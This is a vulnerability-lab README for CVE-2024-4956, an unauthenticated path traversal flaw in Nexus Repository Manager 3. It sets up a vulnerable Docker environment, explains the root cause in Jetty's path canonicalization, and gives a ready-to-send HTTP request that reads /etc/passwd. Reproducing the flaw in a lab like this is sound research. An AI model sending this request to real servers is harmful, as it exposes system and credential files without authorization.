# Nexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956)

[中文版本(Chinese version)](README.zh-cn.md)

Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.

A path traversal vulnerability has been discovered in Nexus Repository 3 before version 3.68.1, the vulnerability allows for an attacker to craft a URL to return any file as a download, including system files outside of Nexus Repository application scope, without any authentication.

References:

- <https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16>

## Vulnerable environment

Execute following command to start a Nexus Repository Manager version 3.68.0:

```
docker compose up -d
```

After the server is started, browse `http://your-ip:8081` to see the home page of Nexus.

## Exploit

Just like SpringMVC CVE-2018-1271 from Orange Tsai's [share](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf), Jetty's `URIUtil.canonicalPath()` also treats the empty string as a directory which is the root cause of this vulnerability:

![](1.png)

Simply send following request to reproduce the issue:

```
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0


```

As you can see, `/etc/passwd` has been exposed directly:

![](2.png)